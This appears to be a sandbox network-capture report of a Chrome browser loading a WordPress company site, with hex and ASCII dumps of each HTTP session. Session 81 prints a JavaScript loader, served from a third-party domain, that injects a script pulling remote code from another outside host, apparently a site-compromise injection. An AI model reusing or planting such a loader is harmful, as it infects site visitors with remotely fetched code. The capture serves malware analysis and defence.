2024-10-07 11:17:24 UTC	8000	IN	Data Raw: b3 30 f5 fd 67 ad b9 33 3b d6 b5 07 fd c0 7b 60 f2 96 6e 17 67 c2 04 d9 db b4 1c 8e 20 13 51 e6 30 1f 98 7a 7c 8b 80 c7 45 82 93 30 41 c7 df c2 d4 eb bf ae b9 99 1d 63 7d 15 71 e0 3d 30 79 13 b7 8b 33 61 82 ce bf ce bf 5e 7f 96 03 73 45 54 5c 96 de 5c 54 d5 ac 8d d5 e3 76 71 26 4c 90 e3 4e cb ab 6b fc 1b 3b de fb 36 f9 bf f2 a9 ff 74 fb 99 4f fe 27 f6 ad 62 8f 6d 37 d7 8f 7a 14 ae f0 6d 7c b7 cf 6d ef 7d cf d3 db 47 3f fc ef 6e df ff b6 3f 69 3f c5 7b 65 df da 77 63 c7 6d df 0e 63 df b8 c4 e3 a6 44 43 c5 de 51 d9 1d 78 0f 4c de c4 ed e2 4c 98 20 c7 9a 96 1e 5f 63 51 42 3f 83 5a cd 67 0d dc 2e ce 84 09 3a fe 16 c9 be ff a9 6b 6e 66 47 4d b3 d0 0e bc 07 26 e7 ba 5d 9c 09 13 74 fe 75 fe f5 fa b3 1c 98 2b a2 e2 58 73 ba 57 e6 b0 1f 98 dc e3 76 71 26 4c 90 e3 Data Ascii: 0g3;{`ng Q0z\|E0Ac}q=0y3a^sET\\Tvq&LNk;6tO'bm7zm\|m}G?n?i?{ewcmcDCQxLL _cQB?Zg.:knfGM&]tu+XsWvq&L
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f Data Ascii: RIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: b7 eb 6f d7 df 7d b5 60 1d 61 d5 a0 84 9d 98 92 dc bd 54 86 62 32 bb fe 74 fd e9 fa d3 f5 27 ea c1 71 85 e8 fb bf be ff 9b d7 1c 64 0a f3 84 92 57 93 bd 54 86 62 32 fb fa d3 d7 9f be fe f4 f5 27 ea c1 71 85 e8 eb cf d7 f3 fa 73 cf 4e cd 03 fb e7 df d8 f7 09 fb c6 be eb c7 ed c1 be c7 ed 22 30 be b1 6f 7b 7e 7b ef bb f0 53 bc 3f 6e 3f c5 fb 96 f9 53 bc 7e 4a f5 8c 2a 8e f3 8d 2b 49 d7 bf ae 7f 5d ff 62 3d 1c af 90 ae 7f 5f cf fa c7 73 42 89 33 45 4c c9 6a b6 97 ca 50 4c 66 d7 bf ae ff 5d ff bb fe 47 3d 38 ae 10 af be fa 2f df d8 37 0e c9 85 1e 9e da 71 f0 ea 63 71 7c e9 32 5b 1b 28 bf e7 cd 7e 9d 90 ac 39 5e 9a 12 bc f4 41 85 99 ad 0d f4 f8 91 b0 11 9e 11 19 17 19 a5 af 7a fc 79 6a 6e c6 f9 bf b2 a1 af b0 f3 67 6c b1 1f 38 4d 09 d8 f4 65 c9 6c 6d e0 95 74 Data Ascii: o}`aTb2t'qdWTb2'qsN"0o{~{S?n?S~J*+I]b=_sB3ELjPLf]G=8/7qcq\|2[(~9^Azyjngl8Melmt
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: e7 ec 0c 27 c6 f5 07 33 41 fc a3 31 3a 35 27 6c b6 b7 58 ce eb 4f 8c ef 34 c4 14 71 f6 49 c4 ba 05 df 7d d6 1a cc a8 95 c3 87 fe ca 36 98 9e 9c 63 7c 72 ac ef 60 db 1e 2e 4b 56 d4 a1 cd 3e 50 47 e2 c6 31 60 7c b3 21 fe 66 c1 3c b1 79 1a b9 1d 7e ce 17 63 61 20 e4 21 58 b6 19 07 34 34 43 0f 78 60 f8 2b cf bd b0 fd b3 7f fe 7b db 1f 7c f9 2b 61 37 2e c6 1d ab c1 1b e1 67 e9 7d 7c 9b a3 9f 2b 3c 2c 73 6b 57 15 cc 03 e7 d2 fd db f6 6d df fa c6 ed 2d 7f fc db ff 7f f6 de f3 6d af eb 38 ef 1d 34 a2 f7 de 01 12 04 c0 4e b1 48 a2 48 4a 2c 12 d5 1b 25 59 56 b5 6c ab d2 ce 91 73 72 3e 24 39 7f c0 b9 ae 5c b1 1d e7 9c 0f 89 1d db 71 95 1c 3b b2 3a 25 aa b0 f7 02 90 20 48 80 20 7a ef bd b7 73 ff ee 59 6b 3f fb 79 5e bc a6 9c 58 56 f1 bb 81 77 af 32 b3 66 66 cd 9a 55 Data Ascii: '3A1:5'lXO4qI}6c\|r`.KV>PG1`\|!f<y~ca !X44Cx`+{\|+a7.g}\|+<,skWm-m84NHHJ,%YVlsr>$9\q;:% H zsYk?y^XVw2ffU
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 54 10 f8 a7 f3 29 f3 71 b2 c8 31 a4 24 84 03 3b fd 6f 38 95 26 42 65 aa 8b f4 85 2e 0a 97 d4 67 49 14 b9 93 1e b4 91 27 71 f7 1c 3c 16 5b f4 a3 a9 af 7c ed 07 f1 e7 7f f3 2d 8d 25 c3 b5 49 77 91 9e 8d 64 39 3e 95 1d 83 c0 65 36 57 0f 59 14 2e 3a c5 5f cf 4f 43 f4 99 f9 61 3a 21 7d 84 1e b2 46 5c 34 28 66 ea d4 be 3b 74 ea dd eb af 59 aa 1f 9f cc d6 09 d3 63 dc 1f 91 b5 b0 75 7b 79 5d 26 32 34 4f b6 7f 4a ee 93 fc 54 9b c1 5a f7 5a 4a f7 75 da dd 2c 45 c3 ad 0c 35 fd cb 36 52 42 ba 51 dc 7f a4 d4 b6 c2 07 f7 8c 22 27 b5 ae de 73 f0 54 3c a7 cf ef fe f1 9f 7d 25 9e 5b fe 92 d6 bc e5 54 4c d1 9f 33 73 62 2c 5d 30 53 8e f8 b7 c5 fb e5 d8 07 2b e4 62 2a df a7 1f c7 2c 5f bd 3d 1e d0 7a e0 3b f7 de 1f 3b 76 e8 73 c5 7a bf c2 b9 ae 83 ce 9e 8a cf 7e 86 13 fb ee Data Ascii: T)q1$;o8&Be.gI'q<[\|-%Iwd9>e6WY.:_OCa:!}F\4(f;tYcu{y]&24OJTZZJu,E56RBQ"'sT<}%[TL3sb,]0S+b*,_=z;;vsz~
2024-10-07 11:17:24 UTC	8000	IN	Data Raw: 9e f3 af 42 bf 78 cb f9 c5 8a 2f ed e0 b5 b0 da 34 d7 df 75 d6 68 91 05 b9 8b 4f 2b d1 8a 9a 66 2f 6a 2d 58 f1 6a 58 91 9b 30 01 15 5c c3 1e 70 49 b6 a0 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 6e 77 56 49 d5 cc 1a 56 e4 26 4c 40 05 d7 b0 0d 76 97 f7 3c 2e a8 13 82 16 44 d6 01 80 bc 5a 23 6c a5 79 ff c1 8f 0e b0 8c fc 6f 44 90 5b 97 e0 2d fb 63 0c 49 f3 e0 4e 39 85 fd f4 ff 8e fd 61 5b f5 99 b2 92 ee d8 9f f1 60 5d ec ae 62 10 fe 43 fd 7f 80 ff 4f a6 ff ea 8c 87 c6 3b 2a ee d6 bf 21 1d 60 67 dd e8 b6 d5 ea 51 30 de 17 b3 2e 1b cc 78 01 2d 82 9e f6 67 4c f1 75 81 f6 ec ce 2a a9 9a 59 c3 2c dd ba 27 a0 82 6b d8 20 74 65 b4 12 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 2e 59 ac 93 d9 c3 fa bd Data Ascii: Bx/4uhO+f/j-XjX0\pIhYKmE+nwVIV&L@v<.DZ#lyoD[-cIN9a[`]bCO;!`gQ0.x-gLuY,'k tehYKmE+.Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49864	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:24 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:24 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:24 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:24 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49871	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:25 UTC	881	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:25 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:25 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:25 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49873	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:25 UTC	572	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:27 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 11:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:27 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 11:17:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49872	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:25 UTC	877	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:25 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:25 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:25 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49874	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:25 UTC	927	OUT	GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:25 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Mar 2021 16:17:40 GMT Accept-Ranges: bytes Content-Length: 101288 Content-Type: image/jpeg
2024-10-07 11:17:25 UTC	7957	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 35 20 37 39 2e 31 36 34 35 39 30 2c 20 32 30 32 30 2f 31 32 2f 30 39 2d 31 31 3a 35 37 3a 34 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xm
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 76 5c 78 73 bd 1a 6b 3c b5 ad ed 9f 75 aa e4 07 41 60 d6 d5 95 f6 9d 4f ac bb fc af db ce 9b 35 9f cb 7f ab 96 9f 1b 97 9b e8 ee dc da df 13 67 ba 8d fe 49 9c 74 b4 f0 a7 1f 99 79 b6 ff 00 91 71 f1 b4 75 db e1 46 c5 25 7b 35 b3 3c 41 1f e3 5b d3 fe 4b f1 f7 b8 ae 7b 7c 3d a3 2f 79 bb bd b6 b7 6b 84 1a c6 ad 2e a7 b5 43 ca 8b e8 f5 7e d3 a7 6f 55 cf fb 5d 96 98 e8 1c ca 96 96 93 8d 31 cc 2f 54 f9 7a ed ea b9 7e 2d a2 ec 4e 86 4b 3d 6d 24 3a 13 52 4f 00 71 5f 1b bb 7f c7 f2 a5 cf 8d 9e 99 33 aa 93 6e d8 c1 2f 51 81 e0 3a b1 e1 89 0b f4 ba cf 4f 0e d6 c4 f1 cd 24 f1 b6 4b 78 b4 50 8e a0 f0 5a b7 8c 27 93 df 14 4d 89 8e 12 17 92 6a e2 6b 81 c9 67 5e db 0b 25 61 6f 57 92 59 59 cf 21 94 c9 23 8d 60 82 20 05 00 e6 4d 17 a2 f6 4c 39 4d 6d 43 b4 6f ec dd 2c 1d 3b Data Ascii: v\xsk<uA`O5gItyquF%{5<A[K{\|=/yk.C~oU]1/Tz~-NK=m$:ROq_3n/Q:O$KxPZ'Mjkg^%aoWYY!#` ML9MmCo,;
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: ef 11 d3 97 e3 d7 ca 7b 1b 5e dc 86 21 6f 15 bc 4d 07 3d 4d 69 24 f3 24 e2 bf 47 db fa 3e cf a3 cb fd c5 b7 d9 2f 7b 57 b6 af 18 e1 2d bb 08 76 7a 4e 9f a1 79 6f eb bb 74 74 d7 e4 6c e3 bb 87 e1 8f 6c 4d 0c a5 92 ba 17 48 dd 0d 14 d5 f2 54 af 57 47 e4 e4 ed f9 73 3c bc c7 70 f8 04 63 b7 ad 96 e3 d5 9d cf 2e 6c 72 57 0a d3 d2 be bf f7 16 f8 be 9c e6 9a fb fa aa c7 f0 3f b9 6d 83 a5 9a 17 39 a1 b5 02 32 5c 49 f4 1a 2f 3f 67 cd d6 78 8e 92 4a 93 6a ec 2d ed 9b 9d ac 12 b2 48 db a8 3a 6d 6d a0 0d 6e 24 57 d0 bd 3d 1d bc f6 c4 73 ed d7 59 32 a1 dc d7 3b 9d ae e5 23 ac 2e 5f 6d 0b 24 73 18 c6 3d c4 9d 26 95 23 c6 8b af 67 7c 99 93 db 97 57 56 66 68 da bb bb ba 6d 6b 24 f2 ba 46 83 46 9d 21 d8 7a 4a ce bf 27 0d 6d f1 5d 26 e5 dc 8e 76 d5 61 77 78 d0 db 89 a5 2f Data Ascii: {^!oM=Mi$$G>/{W-vzNyottllMHTWGs<pc.lrW?m92\I/?gxJj-H:mmn$W=sY2;#._m$s=&#g\|WVfhmk$FF!zJ'm]&vawx/
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: 3f 5b ff 00 81 4c 53 29 47 71 b8 e7 6b 4f f3 ff 00 f0 ab 83 29 06 fa 48 ff 00 e5 ff 00 3f ff 00 0a bc 53 91 e3 7a 3f f2 3f 3b f1 27 13 90 3b d1 1f f0 3f 3b ff 00 0a 71 39 25 6e e8 48 fd 17 e7 7e 24 e2 72 2f de 5f d1 fe 77 e2 4e 27 21 f7 97 f4 7f 9d f8 93 89 c8 7d e3 fd 1f e7 7e 25 30 64 bf 78 ff 00 47 f3 fe 24 c2 e4 7d e3 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e0 7f e5 fe 77 e2 4c 19 1f 78 ff 00 47 f3 fe 24 c1 91 f7 8f f4 7f 3f e2 4c 19 27 de 5f d1 fc ff 00 89 30 0f bc bf a3 f9 ff 00 12 60 2f de 23 fe 5f cf f8 93 0a 8b de ff 00 ac f5 b4 fd 4d 1a 6b e3 5a d6 89 81 f2 93 5c 07 0a ae ce 49 43 da 81 6a 10 08 d4 a1 0b 42 26 b4 23 5c 82 ad 64 Data Ascii: ?[LS)GqkO)H?Sz??;';?;q9%nH~$r/_wN'!}~%0dxG$}G0d}G0d}G0d}wLxG$?L'_0`/#_MkZ\ICjB&#\d
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: cc fc 43 73 fb 27 fb 2c eb 18 8c 60 06 8b 9a e2 06 ad 5a b4 d3 db f1 aa f9 ff 00 d9 ed cf 39 fe 39 cb e9 5f 9b af 1c 63 ce 31 fd 1c a3 64 00 d5 b8 7a 17 bf 0f 99 b7 b5 b8 37 3b d8 48 30 cf 2c 64 65 a2 47 37 e8 28 66 b5 6d 3b c7 ba 2d e9 d1 dd ae da 07 0e b3 cf d2 4a 66 ac 76 7d 93 de dd c3 b8 5f 49 06 e7 dc d3 59 44 c8 f5 46 5c 21 25 ee ae 5a a4 69 18 0c 57 8f e5 77 ef a6 38 fd 5e ef 8b d1 a6 f9 e5 fe 8d 2d 8f e2 97 76 4d bd dc 58 3e fa 1b cb 28 ba 82 3b 91 10 69 7b 5a ea 35 de 53 4c 57 7e be ed ae 92 df 6f 3f 7f 56 9a ed 64 72 9d 9d bc de 7f 12 2e 37 46 01 2c ac 75 c4 ae 0e c8 ea 76 9f c2 ba ed bd 9e 5c 35 99 af 5d ec ff 00 8c 16 bb fe f6 36 87 58 be 09 dc 5e d6 48 1c d7 30 f4 eb 5e 47 1a 2d eb be 4b ab d2 5b 95 56 d8 38 20 54 05 10 2a 05 a2 05 50 08 a1 Data Ascii: Cs',`Z99_c1dz7;H0,deG7(fm;-Jfv}_IYDF\!%ZiWw8^-vMX>(;i{Z5SLW~o?Vdr.7F,uv\5]6X^H0^G-K[V8 T*P
2024-10-07 11:17:25 UTC	8000	IN	Data Raw: b0 fb 40 a9 83 2e 5f bc 76 fe 94 7d 5b 28 1a d3 f5 8d 17 3d b4 6e 57 2d b2 77 f6 f9 b1 89 99 0d dc d0 ca 70 05 8f 75 3e 45 8c 3a 72 6a de 7c 64 ee 6d eb 66 97 68 dd 6e 9e f8 9e 34 97 b0 00 5c 39 3a 8b 1b 4c d3 2e 7b b7 bb bf b8 7b 6a fd 97 bb 5d cc 90 86 1a e8 a9 d0 e1 c9 cd c8 ab 61 cd d3 bf e3 7f 77 3b b8 63 df 20 9f a5 72 d6 86 3e df fe 13 d8 38 39 ab 3a eb 7e ed 72 fe 8f 56 ed 8f ef 21 b3 de c4 c7 6f 51 fb 9d e0 3a 5e d6 d5 cd f4 82 52 ef 67 d0 9a ca e5 fe 2c fc 6a bb be 0e db 36 89 e3 75 b3 e8 e1 71 11 3d 41 4f 15 99 6e fe fc 2f 8d 7f c5 e5 71 f7 76 fb 15 b4 cc a7 52 39 8e a9 24 7b 6a ed 59 54 3b 34 fc 5a a4 de c6 9b 3e 2b 77 39 86 08 2e 1e 2e 6d 60 6e 9e 94 98 ea 1c 2a 54 bd 32 9c dc e5 c6 f9 3c b7 86 78 9a 20 2e 71 76 96 e4 09 e4 b7 34 c3 37 67 5f Data Ascii: @._v}[(=nW-wpu>E:rj\|dmfhn4\9:L.{{j]aw;c r>89:~rV!oQ:^Rg,j6uq=AOn/qvR9${jYT;4Z>+w9..m`n*T2<x .qv47g_
